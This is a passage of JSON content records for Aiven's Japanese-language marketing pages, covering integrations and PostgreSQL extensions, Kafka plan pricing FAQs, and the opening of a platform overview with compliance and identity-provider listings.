Kubernetes","variant":"icon-card"}],"rounded":false,"subtitle":[{"_key":"3432fb300620","_type":"block","children":[{"_key":"b8f03e25392d0","_type":"span","marks":[],"text":"強力なツールでインフラを管理し、思い通りに"},{"_key":"b8f03e25392d1","_type":"span","marks":["1ee012ff6902"],"text":"デプロイできます"},{"_key":"b8f03e25392d2","_type":"span","marks":[],"text":"。"}],"markDefs":[{"_key":"1ee012ff6902","_type":"link","href":"https://docs.aiven.io/docs/tools/index.html"}],"style":"normal"}],"title":"オーケストレーションツールの選択"},{"_key":"dd6866b3ca44fab6ac1730d0b8bc5eeb","_type":"textImage","addSpaceBottom":true,"backgroundColor":{"_ref":"bad36c2a-4fde-4006-88ce-318196f3ff07","_type":"reference"},"backgroundImage":{"_type":"mainImage","asset":{"_ref":"image-167313944ca1feee8e8430eccc2f67aba2f00862-1264x351-png","_type":"reference"}},"backgroundPosition":"center center","disabled":false,"fullWidth":false,"image":{"_type":"mainImage","asset":{"_ref":"image-b66a21d26808683c644e396809447fddd2bc8384-515x113-svg","_type":"reference"}},"primaryCTA":{"_type":"link","externalUrl":"https://docs.aiven.io/docs/tools/terraform","title":"ドキュメントを見る"},"rounded":true,"secondaryCTA":{"_type":"link","externalUrl":"https://registry.terraform.io/providers/aiven/aiven/latest/docs","title":"Terraformレジストリを見る"},"text":[{"_key":"15977fe54136","_type":"block","children":[{"_key":"61be0c01baa30","_type":"span","marks":[],"text":"AivenのTerraformプロバイダーを使用すると、Aivenサービスを既存のワークフローにシームレスに統合できます。"}],"markDefs":[],"style":"normal"}],"title":"Terraform","variant":"mediaRight"},{"_key":"eeee74cbd5b3","_type":"cardList","align":"left","disabled":false,"fullWidth":false,"id":"postgresql","items":[{"_key":"2aed8c1952df","_type":"cardItem","borderTopColor":{"_ref":"691c748b-6770-40d0-94dc-95f21aa776c8","_type":"reference"},"ctaLink":{"_type":"link","externalUrl":"https://github.com/timescale/timescaledb","title":"ドキュメントを見る"},"subtitle":[{"_key":"fba0add00803","_type":"block","children":[{"_key":"fea91cecb5e10","_type":"span","marks":[],"text":"既存のリレーショナルデータベースを時系列データ用に最適化する時系列専用関数の例: "},{"_key":"5de860617ba7","_type":"span","marks":["c03d507e5e5a"],"text":"create_hypertable"},{"_key":"7ec27abb86eb","_type":"span","marks":[],"text":"、"},{"_key":"a9acf64fa3be","_type":"span","marks":["69777d86b431"],"text":"histogram"},{"_key":"a9c4f6c472e2","_type":"span","marks":[],"text":"、 "},{"_key":"3fd2c223cc14","_type":"span","marks":["864f47b21172"],"text":"time_bucket"}],"markDefs":[{"_key":"c03d507e5e5a","_type":"link","href":"https://docs.timescale.com/api/latest/hypertable/create_hypertable/#create-hypertable"},{"_key":"69777d86b431","_type":"link","href":"https://docs.timescale.com/api/latest/hyperfunctions/histogram/#histogram"},{"_key":"864f47b21172","_type":"link","href":"https://docs.timescale.com/api/latest/hyperfunctions/time_bucket/#time-bucket"}],"style":"normal"}],"title":"TimescaleDB","variant":"icon-card"},{"_key":"81737c620a358cb4542bc76c365c5b8c","_type":"cardItem","borderTopColor":{"_ref":"691c748b-6770-40d0-94dc-95f21aa776c8","_type":"reference"},"ctaLink":{"_type":"link","externalUrl":"https://postgis.net/","title":"ドキュメントを見る"},"subtitle":[{"_key":"fba0add00803","_type":"block","children":[{"_key":"fea91cecb5e10","_type":"span","marks":[],"text":"PostGISの幾何学と地理空間の型と機能"}],"markDefs":[],"style":"normal"}],"title":"PostGIS","variant":"icon-card"},{"_key":"3416ede09c08970959d0f5d5a4b86690","_type":"cardItem","borderTopColor":{"_ref":"691c748b-6770-40d0-94dc-95f21aa776c8","_type":"reference"},"ctaLink":{"_type":"link","externalUrl":"https://www.postgresql.org/docs/current/plpgsql.html","title":"ドキュメントを見る"},"subtitle":[{"_key":"fba0add00803","_type":"block","children":[{"_key":"fea91cecb5e10","_type":"span","marks":[],"text":"PostgreSQLに手続き言語PL/pgSQLを追加"}],"markDefs":[],"style":"normal"}],"title":"PL/pgSQL","variant":"icon-card"},{"_key":"074d91e3ea785eac0a68bb6bb5d5e5a3","_type":"cardItem","borderTopColor":{"_ref":"691c748b-6770-40d0-94dc-95f21aa776c8","_type":"reference"},"ctaLink":{"_type":"link","externalUrl":"https://www.postgresql.org/docs/current/pgstatstatements.html","title":"ドキュメントを見る"},"subtitle":[{"_key":"fba0add00803","_type":"block","children":[{"_key":"fea91cecb5e10","_type":"span","marks":[],"text":"実行されたすべてのSQL文の計画と実行統計の追跡"}],"markDefs":[],"style":"normal"}],"title":"Pg_stat_statements","variant":"icon-card"}],"rounded":false,"subtitle":[{"_key":"9914b25eac85","_type":"block","children":[{"_key":"64ce5d7999100","_type":"span","marks":[],"text":"Aivenのフルマネージドサービスでは、プロセスを強化し、サービスに追加できる "},{"_key":"64ce5d7999101","_type":"span","marks":["1c2678b152af"],"text":"70以上の拡張機能"},{"_key":"64ce5d7999102","_type":"span","marks":[],"text":" へのアクセスを可能にすることで、PostgreSQL® をさらに強力なものにできます。"}],"markDefs":[{"_key":"1c2678b152af","_type":"link","href":"https://docs.aiven.io/docs/products/postgresql/reference/list-of-extensions"}],"style":"normal"}],"title":"70以上のPostgreSQL®の拡張機能"},{"_key":"5e8703fb0cea","_type":"textColumn","addSpaceBottom":true,"backgroundColor":{"_ref":"bad36c2a-4fde-4006-88ce-318196f3ff07","_type":"reference"},"disabled":false,"fullWidth":false,"rounded":true,"subtitle":[{"_key":"5b04ed92db01","_type":"block","children":[{"_key":"ca230cf114080","_type":"span","marks":[],"text":"データベース管理者の特権を維持したいですか?"}],"markDefs":[],"style":"h4"},{"_key":"a3ad0b816dcb","_type":"block","children":[{"_key":"c41957a212ab","_type":"span","marks":[],"text":"データベース管理者(DBA)はスーパーユーザー権限を必要とするような機能を実行できるように、Aivenが開発・保守する拡張機能「"},{"_key":"b63dfcf353901","_type":"span","marks":["3c5d986b8efb"],"text":"aiven_extras"},{"_key":"b63dfcf353902","_type":"span","marks":[],"text":"」を提供します。"}],"markDefs":[{"_key":"3c5d986b8efb","_type":"link","href":"https://docs.aiven.io/docs/products/postgresql/concepts/dba-tasks-pg"}],"style":"normal"}],"variant":"oneColumn"}],"seo":{"_type":"metaData","metaDescription":"CLI、Terraform、Kubernetesでサービスをデプロイします。Kafka コネクタでデータをソースにしたり、Datadog や Prometheus などの外部ツールで監視できます。","metaImage":{"_type":"mainImage","asset":{"_ref":"image-c93ab953daa6132857612e0b4b89c79f683a84ab-1200x630-jpg","_type":"reference"}},"metaTitle":"Aivenの統合とコネクタ|Aiven"},"slug":{"_type":"slug","current":"/integrations-and-connectors"},"title":"Aiven integrations and connectors"} {"__i18n_lang":"ja","_createdAt":"2022-09-14T10:03:15Z","_id":"c3f4e356-f474-4130-827c-fb30a78ac222__i18n_ja","_rev":"sg5cBJWkRHo7pkcz4RG23x","_type":"page","_updatedAt":"2023-12-21T08:31:13Z","content":[{"_key":"0713e523472f","_type":"infoBannerSection","addSpaceBottom":false,"addSpaceTop":false,"backgroundPosition":"center center","backgroundPositionMobile":"center center","disabled":false,"fullWidth":false,"infoBanner":{"_ref":"d36f345b-fd3e-441b-981e-92e497d886b1__i18n_ja","_type":"reference"},"noSpaceBottom":true,"noSpaceTop":true,"rounded":false,"variant":"vertical"},{"_key":"61bdca39353f","_type":"iconList","addSpaceBottom":false,"addSpaceTop":false,"backgroundPosition":"center center","backgroundPositionMobile":"center center","disabled":false,"fullWidth":false,"headerPosition":"default","iconSize":24,"icons":[{"_key":"9c5abe66c58a","_type":"iconItem","iconImage":{"_type":"mainImage","asset":{"_ref":"image-ab085d541ffda89ec1fd230558a3d8838204a851-25x24-svg","_type":"reference"}},"title":"使用した分だけ支払う"},{"_key":"a0dbd217b9783fe0e59a8a51375c98c2","_type":"iconItem","iconImage":{"_type":"mainImage","asset":{"_ref":"image-e7196743bdb72ecfdfadc1e773ff78971bb14c15-24x24-svg","_type":"reference"}},"title":"ネットワークコストが不要"},{"_key":"c70af20caca56d434c75d99a6cc3034e","_type":"iconItem","iconImage":{"_type":"mainImage","asset":{"_ref":"image-c73588011bea5b815efb960f9bb5ed6aa5a46c64-24x24-svg","_type":"reference"}},"title":"99.99%の可用性を保証"},{"_key":"610a131cef580f307f1dc9389cdf3c92","_type":"iconItem","iconImage":{"_type":"mainImage","asset":{"_ref":"image-0a79c1fce4fc66bc0e3e731b6cbac27ba80bfeb9-24x24-svg","_type":"reference"}},"title":"24時間365日、100%サポート要員によるサポート"}],"itemsPerRow":2,"noSpaceBottom":false,"noSpaceTop":false,"primaryCTA":{"_type":"link","externalUrl":"https://console.aiven.io/signup","title":"無料で始める"},"rounded":false,"secondaryCTA":{"_type":"link","internalLink":{"_ref":"8930abef-2819-4638-b11a-a3a2e33e18ff__i18n_ja","_type":"reference"},"title":"お問合せ"},"subtitle":[{"_key":"6049dc0b627f","_type":"block","children":[{"_key":"efeea6d31ccd0","_type":"span","marks":[],"text":"サービスのダウンタイムはほぼゼロで、必要に応じてプランのスケールアップやスケールダウンが可能です。"}],"markDefs":[],"style":"normal"}],"title":"すべて込みの価格","variant":"header-left"},{"_key":"243e064e6dd6","_type":"accordion","addSpaceBottom":false,"addSpaceTop":false,"backgroundPosition":"center center","backgroundPositionMobile":"center center","disabled":false,"fullWidth":false,"isFaqAccordion":true,"items":[{"_key":"3acf7c94031f","_ref":"53d60c8d-d7b6-4ed4-8722-4b4d4ae1a204__i18n_ja","_type":"reference"},{"_key":"e9460a67a603","_ref":"0e804db0-a866-4abd-827f-4958881bf05b__i18n_ja","_type":"reference"},{"_key":"5ec5ec5a8262","_type":"accordionItem","id":"benefits","panelText":[{"_key":"52d69eee077c","_type":"block","children":[{"_key":"c443872c16be0","_type":"span","marks":[],"text":"Apache Kafka® Connect:Aiven for Apache Kafka®サービスでは、Kafka ConnectはBusinessとPremiumプランにのみ含まれています。"}],"markDefs":[],"style":"normal"},{"_key":"96a2c75cdc9f","_type":"block","children":[{"_key":"d515aab19efe0","_type":"span","marks":[],"text":""}],"markDefs":[],"style":"normal"},{"_key":"ff0f5b1c4def","_type":"block","children":[{"_key":"bbd55fce8da4","_type":"span","marks":[],"text":"追加サポート:すべてのアカウントには、基本的なメールとチャットによるサポートが含まれています。追加料金をお支払いただくことで、Priority、Business、Enterpriseの3つのレベルの追加サポートをご利用いただけます。契約のレベルに応じて、電話サポート、12時間サポート、テクニカルアカウント管理の組み合わせで構成されています。サポート対応時間やプランについては、"},{"_key":"a0152310d342","_type":"span","marks":["f81ec85940ce"],"text":"こちら"},{"_key":"4b25423a5646","_type":"span","marks":[],"text":"をご覧ください。"}],"markDefs":[{"_key":"f81ec85940ce","_type":"internalLink","internalLink":{"_ref":"17d882dc-fcff-4bab-b539-c811e713bfa7","_type":"reference"}}],"style":"normal"}],"title":"最小のHobbyistプランで始めて、後からアップグレードした場合、どのような特典があるのでしょうか?"},{"_key":"4a2e2ee974e6","_type":"accordionItem","id":"cloud-provider-kafka","panelText":[{"_key":"241a8d9ab5a2","_type":"block","children":[{"_key":"6dd33ec7ed750","_type":"span","marks":[],"text":"新しいクラウドプロバイダーへの移行でも、同じプロバイダー内の新しいリージョンへの移行でも、移行はバックグラウンドで行われ、新しいクラウドリージョンでサービスが再構築されるまで、サービスに影響を与えることはありません。"}],"markDefs":[],"style":"normal"}],"title":"途中でクラウドプロバイダーを変更することは可能ですか?"},{"_key":"7b7fd6277dc4","_ref":"4c91f07f-4290-4cd1-ba29-e87509e538f5__i18n_ja","_type":"reference"}],"noSpaceBottom":false,"noSpaceTop":false,"rounded":false,"title":"よくある質問"},{"_key":"0b917158dc2f","_type":"cardList","addSpaceBottom":false,"addSpaceTop":false,"align":"center","backgroundPosition":"center center","backgroundPositionMobile":"center center","disabled":false,"fullWidth":false,"headerPosition":"default","items":[{"_key":"90bc438320ef576d2a4ea2bc16d67dd8","_type":"cardItem","ctaLink":{"_type":"link","internalLink":{"_ref":"3GV8UOjSgQ2OqimWnSlLCc","_type":"reference"},"title":"詳しく見る (英語)"},"image":{"_type":"mainImage","asset":{"_ref":"image-be287498b89f8ed67e42dd69650f61fe19282c93-1567x844-png","_type":"reference"}},"subtitle":[{"_key":"fbe47e4d9cf7","_type":"block","children":[{"_key":"7d5ca01fa329","_type":"span","marks":[],"text":"Aivenの全サービスにおいて、ご自身でストレージの追加予約が可能です。\nプランを変更する必要はありません。"}],"markDefs":[],"style":"normal"}],"tagline":"ブログ","title":"動的ディスク容量","variant":"default"},{"_key":"662d7f8aef97","_type":"cardItem","ctaLink":{"_type":"link","internalLink":{"_ref":"a0d9c1c3-d9db-4505-9be9-2cdc41f78178","_type":"reference"},"title":"削減コストを計算する (英語)"},"image":{"_type":"mainImage","asset":{"_ref":"image-86750f6c428dd10568c02e99ed26c74f21468f6e-1200x630-jpg","_type":"reference"}},"subtitle":[{"_key":"1b100c8d1688","_type":"block","children":[{"_key":"db9cc2dcfb990","_type":"span","marks":[],"text":"Aivenがデータインフラを管理することで、どれくらいコストが削減できるかをご確認ください。"}],"markDefs":[],"style":"normal"}],"tagline":"ビジネスバリュー計算","title":"Aivenを利用した場合、削減できるコストを計算する","variant":"default"},{"_key":"69541455ec02","_type":"cardItem","ctaLink":{"_type":"link","externalUrl":"https://aiven.io/ja/pricing?product=kafka","title":"プランの比較を見る"},"image":{"_type":"mainImage","asset":{"_ref":"image-606a17bc642d3351db8987ffb1c6089316d80235-1200x630-jpg","_type":"reference"}},"subtitle":[{"_key":"9642c3c64b11","_type":"block","children":[{"_key":"338af312547f0","_type":"span","marks":[],"text":"Aiven for Apache Kafka®の各プランの価格に含まれている内容の詳細は、プランの比較をご覧ください。"}],"markDefs":[],"style":"normal"}],"tagline":"価格体系","title":"Aiven for Apache Kafka®のプランの比較","variant":"default"}],"itemsPerRow":3,"noSpaceBottom":false,"noSpaceTop":false,"rounded":false,"title":"Aiven for Apache Kafka®の価格を詳しく見る"}],"resourceTag":{"_type":"resourceTag","contentType":{"_ref":"61d06542-93ca-4a1b-b925-69b3a7c6285d","_type":"reference"},"tags":[{"_key":"515ee742f5c5","_ref":"3c547914-626c-4ae5-8d0c-a0400bcc5e7f","_type":"tag"}]},"seo":{"_type":"metaData","metaDescription":"最適なAiven for Apache Kafka®プランを見つけ、月額の開始価格を計算します。","metaImage":{"_type":"mainImage","asset":{"_ref":"image-d5aeed21a61ecdc16bc7f53357ecad5fac4feaba-1200x630-jpg","_type":"reference"}},"metaTitle":"お客様に合ったAiven for Apache Kafka®のプランを探す"},"slug":{"_type":"slug","current":"/kafka-plan-finder"},"title":"JA Kafka Plan Finder"} {"__i18n_base":{"_ref":"3b0bd26a-ed6b-424d-a710-7fe3f17b29de","_type":"reference"},"__i18n_lang":"ja","_createdAt":"2023-05-04T14:20:09Z","_id":"3b0bd26a-ed6b-424d-a710-7fe3f17b29de__i18n_ja","_rev":"exgZYl4YMpSEzTrzwsOz0q","_type":"page","_updatedAt":"2024-10-10T13:09:18Z","content":[{"_key":"24784b17ab5e","_type":"hero","addSpaceBottom":false,"addSpaceTop":false,"backgroundPosition":"center center","backgroundPositionMobile":"center center","backgroundSize":"auto","backgroundSizeMobile":"auto","description":[{"_key":"8ef07be3024c","_type":"block","children":[{"_key":"21dea986d3b40","_type":"span","marks":[],"text":"あらゆるクラウド上でデータのストリーミング、保存、分析を行うためのプラットフォームです。"}],"markDefs":[],"style":"normal"}],"disabled":false,"fullWidth":false,"hostProviders":[{"_key":"79a602044d4e","_ref":"080b4781-d7b8-4d95-8aa6-aeb4989bf5c6","_type":"reference"},{"_key":"40afb4048979","_ref":"adc248e9-c65b-45b5-a4e6-930767897444","_type":"reference"},{"_key":"664eaf09d5f4","_ref":"62e1cd4e-b8a5-4a68-a78f-80cd075c17e6","_type":"reference"},{"_key":"3e329a0cb8b1","_ref":"54eb8b0b-593e-4fe5-908f-9a441bd329fa","_type":"reference"},{"_key":"a02f12e6882f","_ref":"6ed4cb03-b0d9-4009-bbf7-382ca41bcf26","_type":"reference"}],"image":{"_type":"mainImage","asset":{"_ref":"image-88b2848ed2d49660e7a2b377d802062d5a6889ed-2667x1500-png","_type":"reference"}},"imageSize":"default","noSpaceBottom":false,"noSpaceTop":false,"primaryCTA":{"_type":"link","caption":"クレジットカードの登録は不要です。","externalUrl":"https://console.aiven.io/signup","title":"無料で始める"},"rounded":false,"title":"Aivenプラットフォーム","variant":"default"},{"_key":"0c9e2be1102014e4c0219cbd9fefc5fd","_type":"logoList","addSpaceBottom":true,"addSpaceTop":true,"backgroundColor":{"_ref":"5c6963ab-dc69-404b-af6f-d46262b3a35b","_type":"reference"},"backgroundPosition":"center center","backgroundPositionMobile":"center center","backgroundSize":"auto","backgroundSizeMobile":"auto","disabled":false,"fullWidth":true,"grayscale":false,"hideItemLink":true,"logos":[{"_key":"703c5d62db81","_ref":"77cGJ1NZ9Y7b4XMtjpJjas","_type":"reference"},{"_key":"94e8ac55fb70","_ref":"Qi6syfOyHgBi7ehXtqDgB","_type":"reference"},{"_key":"0d6709b1bc0c","_ref":"17IOucz0A2afQRoggZvU06","_type":"reference"},{"_key":"38123824a9eb","_ref":"689cb493-1e77-4232-b6ee-f9bef6a83582","_type":"reference"},{"_key":"1376f33edebc","_ref":"tobLYh2MZdZsk3Hke3PqK","_type":"reference"},{"_key":"6856b3b4924c","_ref":"3A6EbsdpVkSiacDkiNvUT5","_type":"reference"}],"noSpaceBottom":false,"noSpaceTop":false,"rounded":false,"tagline":"世界の業界リーダーからの信頼を獲得しています","variant":"logo"},{"_key":"dae9f8df9be0094cd72e0e162d88d8f0","_type":"scrollSpyNavigation","addSpaceBottom":false,"addSpaceTop":false,"backgroundPosition":"center center","backgroundPositionMobile":"center center","backgroundSize":"auto","backgroundSizeMobile":"auto","disabled":false,"fullWidth":false,"items":[{"_key":"144cdf198885","_type":"scrollSpyNavItem","sectionId":"intro","title":"特徴"},{"_key":"3a3b588c364c","_type":"scrollSpyNavItem","sectionId":"benefits","title":"メリット"},{"_key":"27f2e77d913e","_type":"scrollSpyNavItem","sectionId":"references","title":"お客様の活用事例"},{"_key":"4b820cff045f28b0d0115bb424497b01","_type":"scrollSpyNavItem","sectionId":"pricing","title":"価格"},{"_key":"2e5665882d12","_type":"scrollSpyNavItem","sectionId":"features","title":"機能紹介"}],"logoLink":{"_type":"link","title":"Aivenプラットフォーム"},"noSpaceBottom":false,"noSpaceTop":false,"primaryCTA":{"_type":"link","externalUrl":"https://console.aiven.io/signup","title":"無料で始める"},"rounded":false,"secondaryCTA":{"_type":"link","internalLink":{"_ref":"de53f46b-d056-463c-8d2a-4ee0480b9faf__i18n_ja","_type":"reference"},"title":"お問合せ"},"title":"Aivenプラットフォーム"},{"_key":"587a8d38c6819c63626270df4590e0cc","_type":"iconList","addSpaceBottom":false,"addSpaceTop":false,"backgroundPosition":"center center","backgroundPositionMobile":"center center","backgroundSize":"auto","backgroundSizeMobile":"auto","disabled":false,"fullWidth":false,"headerPosition":"left","iconSize":24,"icons":[{"_key":"23035b65f1e2","_type":"iconItem","iconImage":{"_type":"mainImage","asset":{"_ref":"image-cdc84e8d5201b68f537ddd54c858764684e13b44-24x24-svg","_type":"reference"}},"subtitle":[{"_key":"e9ef173135da","_type":"block","children":[{"_key":"1e822a5adf9d0","_type":"span","marks":[],"text":"よく使われているオープンソースのサービスを選択して、データのストリーミング、保存、分析を行います。個々のサービスや高度なデータパイプラインを数分でデプロイできます。マネージドコネクタを使用して既存のデータソースやデータシンクに統合することも可能です。"}],"markDefs":[],"style":"normal"}],"title":"サービス"},{"_key":"c4feeb44b901","_type":"iconItem","iconImage":{"_type":"mainImage","asset":{"_ref":"image-c73588011bea5b815efb960f9bb5ed6aa5a46c64-24x24-svg","_type":"reference"}},"subtitle":[{"_key":"ce3e23193519","_type":"block","children":[{"_key":"e032f55cb7310","_type":"span","marks":[],"text":"すべてのクラウドデータインフラプロジェクトやサービスに対して統合された可視性と管理機能をご提供します。直感的な"},{"_key":"a64c7753c834","_type":"span","marks":["79255cb42112"],"text":"Aivenコンソール"},{"_key":"79126208b35b","_type":"span","marks":[],"text":"や強力な"},{"_key":"05b9a2fee10d","_type":"span","marks":["a865009c6bd2"],"text":"コマンドラインインターフェース(CLI)"},{"_key":"758a60888f4d","_type":"span","marks":[],"text":"を使用するか、お好きなツールに"},{"_key":"0d31857c3161","_type":"span","marks":["bfa27c3c01b1"],"text":"Terraformプロバイダ"},{"_key":"c9cb0ea528f4","_type":"span","marks":[],"text":"と"},{"_key":"b5802be8f1e5","_type":"span","marks":["784132249c42"],"text":"Kubernetesのオペレーター"},{"_key":"d2ebde00f403","_type":"span","marks":[],"text":"を統合して使用することできます。"}],"markDefs":[{"_key":"79255cb42112","_type":"link","href":"https://docs.aiven.io/docs/tools/aiven-console"},{"_key":"a865009c6bd2","_type":"link","href":"https://docs.aiven.io/docs/tools/cli"},{"_key":"bfa27c3c01b1","_type":"link","href":"https://docs.aiven.io/docs/tools/terraform"},{"_key":"784132249c42","_type":"link","href":"https://docs.aiven.io/docs/tools/kubernetes"}],"style":"normal"}],"title":"管理ツール"},{"_key":"f3e5e879c771","_type":"iconItem","iconImage":{"_type":"mainImage","asset":{"_ref":"image-8bf6307344286cf3f810660569ecb590fee7fca8-24x24-svg","_type":"reference"}},"subtitle":[{"_key":"5a3849414b5c","_type":"block","children":[{"_key":"11adfe0bd14c","_type":"span","marks":[],"text":"スケーリング、アップグレード、レジリエンス、 "},{"_key":"8519c01d1283","_type":"span","marks":["c2f30dcb886e"],"text":"セキュリティとコンプライアンス"},{"_key":"9ffa8bcd0d53","_type":"span","marks":[],"text":"、オブザーバビリティ(可観測性)、課金など、クラウドデータインフラのあらゆる側面を管理・統制する統合プラットフォームです。開発および運用プロセスやツールにプラットフォームを一度"},{"_key":"f03d9052b919","_type":"span","marks":["7331a66e6360"],"text":"統合する"},{"_key":"85b7b667e08b","_type":"span","marks":[],"text":"だけで、すべてのサービに利用することができます。"}],"markDefs":[{"_key":"c2f30dcb886e","_type":"internalLink","internalLink":{"_ref":"02d777ab-2af1-4eac-b8e7-385a17dfadc5","_type":"reference"}},{"_key":"7331a66e6360","_type":"internalLink","internalLink":{"_ref":"c45be782-8d01-4d1d-a207-245deea2dfc4","_type":"reference"}}],"style":"normal"}],"title":"プラットフォーム"},{"_key":"8863a4218008","_type":"iconItem","iconImage":{"_type":"mainImage","asset":{"_ref":"image-30a5bd1f5d660a3b70fa5c8672d4e8d0ddc69e38-24x24-svg","_type":"reference"}},"subtitle":[{"_key":"5fb14b9280da","_type":"block","children":[{"_key":"baf50e31c1d50","_type":"span","marks":[],"text":"柔軟なデプロイメントオプションを利用して、100以上のリージョンにある主要なパブリッククラウドプラットフォーム上でサービスを実行できます。レイテンシー、コスト、ディザスタリカバリ、規制要件などの目的で、いつでもクラウド間でワークロードを移行または複製することができます。"}],"markDefs":[],"style":"normal"}],"title":"クラウドデプロイメント"}],"id":"intro","itemsPerRow":2,"noSpaceBottom":false,"noSpaceTop":false,"rounded":false,"subtitle":[{"_key":"93268339214f","_type":"block","children":[{"_key":"5b88c4cb4f2a0","_type":"span","marks":[],"text":"Aivenプラットフォームは、データのストリーミング、保存、分析のためのオープンソースサービスの集合体以上の価値を提供します。このプラットフォームは、お客様が選択したクラウド上で、すべてのサービスが信頼性とセキュリティを持って実行され、観測可能であり、容易に他のサービスや外部のサードパーティツールと統合することができることを保証しています。"}],"markDefs":[],"style":"normal"}],"title":"Aivenプラットフォームとは"},{"_key":"398132bcd9716e0f2fa9a9107cdcb5dc","_type":"serviceList","addSpaceBottom":false,"addSpaceTop":false,"backgroundPosition":"center center","backgroundPositionMobile":"center center","backgroundSize":"auto","backgroundSizeMobile":"auto","compliance":[{"_key":"a98515530fc6","_type":"textIconItem","icon":{"_type":"mainImage","alt":"ISO 27001 logo","asset":{"_ref":"image-1bdfde2875e6ddebd644205ed02f511116278f6a-40x40-svg","_type":"reference"}},"title":"ISO 27001"},{"_key":"214092495846","_type":"textIconItem","icon":{"_type":"mainImage","alt":"SOC2 logo","asset":{"_ref":"image-83778ee98c9e049769d003e7a753efa4b63a276b-40x40-svg","_type":"reference"}},"title":"SOC2"},{"_key":"e40afa1bef82","_type":"textIconItem","icon":{"_type":"mainImage","alt":"HIPAA logo","asset":{"_ref":"image-a315c2be874b3ceebef8ad2dedd9e8ebf0735b66-40x40-svg","_type":"reference"}},"title":"HIPAA"},{"_key":"1a62b3f35f2112e310c4f0e4ab3f4270","_type":"textIconItem","icon":{"_type":"mainImage","alt":"PCI-DSS logo","asset":{"_ref":"image-755a96d4bd3934033e98ac391d913265d09537af-40x40-svg","_type":"reference"}},"title":"PCI-DSS"},{"_key":"0c1336674fe8","_type":"textIconItem","icon":{"_type":"mainImage","alt":"GDPR logo","asset":{"_ref":"image-203403621ac80cf3125943af581ab051cfe3b2fc-40x40-svg","_type":"reference"}},"title":"GDPR"}],"disabled":false,"fullWidth":false,"hostProviders":[{"_key":"d44bf854d884","_ref":"080b4781-d7b8-4d95-8aa6-aeb4989bf5c6","_type":"reference"},{"_key":"7699c7dbe38a","_ref":"adc248e9-c65b-45b5-a4e6-930767897444","_type":"reference"},{"_key":"5abe90447382","_ref":"62e1cd4e-b8a5-4a68-a78f-80cd075c17e6","_type":"reference"},{"_key":"9caa16833a10","_ref":"2c2f2baa-24b0-4b7a-812b-bed3f20f2030","_type":"reference"},{"_key":"ccddd32e0a21","_ref":"6ed4cb03-b0d9-4009-bbf7-382ca41bcf26","_type":"reference"},{"_key":"16a7bbb4dc08","_ref":"9039a507-d3b4-402a-964b-6fa829d56ef8","_type":"reference"}],"identity":[{"_key":"30a0f3ca8ccb","_type":"textIconItem","icon":{"_type":"mainImage","alt":"SAML logo","asset":{"_ref":"image-bfecfc8de4d85a1158a972c01b27b11bbd524dd7-512x512-png","_type":"reference"}},"title":"SAML"},{"_key":"056370835591","_type":"textIconItem","icon":{"_type":"mainImage","alt":"Okta logo","asset":{"_ref":"image-7ca00d77106a3a3e685189391226e0a369971d49-512x512-png","_type":"reference"}},"title":"Okta"},{"_key":"febd7e5feb16","_type":"textIconItem","icon":{"_type":"mainImage","alt":"OneLogin logo","asset":{"_ref":"image-cf4caddee0c6423b881728ae13d5e028bac6ee1a-462x462-png","_type":"reference"}},"title":"OneLogin"},{"_key":"6dfab05ccd26","_type":"textIconItem","icon":{"_type":"mainImage","alt":"Azure AD logo","asset":{"_ref":"image-6ea6284e995c0582493b818cbddd45f5b331204c-512x512-png","_type":"reference"}},"title":"Azure AD"}],"integrations":[{"_key":"179daec37db3","_ref":"22d8ccfb-b77c-4029-94c0-c7519397935a","_type":"reference"},{"_key":"336562832e68","_ref":"6b6199d0-5ca3-421d-91df-82fb15688d28","_type":"reference"},{"_key":"1cad79e2bb02","_ref":"2ba1dfda-6041-4ac9-b258-085aa41ebfa1","_type":"reference"},{"_key":"c55a3d70229d","_ref":"beb356d4-e5a4-4c9c-abfa-9f58e3d9cebc","_type":"reference"},{"_key":"67db0412001f","_ref":"fb7167db-3a21-49ad-836b-c1b8b34eaa77","_type":"reference"},{"_key":"880bca5df9df","_ref":"5965cdaa-ee18-4090-a084-62463619b757","_type":"reference"},{"_key":"fa071dd512d2","_ref":"ab20f261-f294-45ca-8289-e369255c7366","_type":"reference"},{"_key":"a48c7d774a7e","_ref":"db1c8e5c-df2f-48b1-aae4-852962d61aeb","_type":"reference"},{"_key":"1b263be2ea34","_ref":"98cebc13-16ae-42db-a6de-4458949c0dc3","_type":"reference"},{"_key":"00d099f390fa","_ref":"76a88a82-92c9-409d-9f30-30207c9ba701","_type":"reference"},{"_key":"fdfde5f9fdc6","_ref":"5007821b-436e-4ebb-8a07-242c4a5f7448","_type":"reference"},{"_key":"d747afbc0c0a","_ref":"157b3267-4eb0-49eb-ad17-537d5a95772d","_type":"reference"},{"_key":"02a206f3612d","_ref":"4bed5fe2-e20e-4edc-b54b-5bb47e9fd982","_type":"reference"},{"_key":"0c738a75cc5a","_ref":"4b76ba83-b8b9-4f4e-b04f-670c2994ce1e","_type":"reference"}],"managed":[{"_key":"ac36ed4a420c","_type":"textIconItem","icon":{"_type":"mainImage","asset":{"_ref":"image-380123baa06f9ca6bb46fe482bdcc97c47209fa5-40x40-svg","_type":"reference"}},"title":"24時間365日のエンタープライズサポートオプション"},{"_key":"a36a28474490","_type":"textIconItem","icon":{"_type":"mainImage","asset":{"_ref":"image-8474ceba50fe54d50d2670a9c9addbaa3cda6c3a-40x40-svg","_type":"reference"}},"title":"99.99%アップタイム"},{"_key":"28b8f56f6959","_type":"textIconItem","icon":{"_type":"mainImage","asset":{"_ref":"image-e78c0cfc10eb10e0f1755722c4e90bca06cb515b-40x40-svg","_type":"reference"}},"title":"高可用性"},{"_key":"91b8ea9af84c","_type":"textIconItem","icon":{"_type":"mainImage","asset":{"_ref":"image-9c38e4da11ad04c0092f9636f7a9fd83031bd77d-40x40-svg","_type":"reference"}},"title":"5 つ以上のクラウドと 100 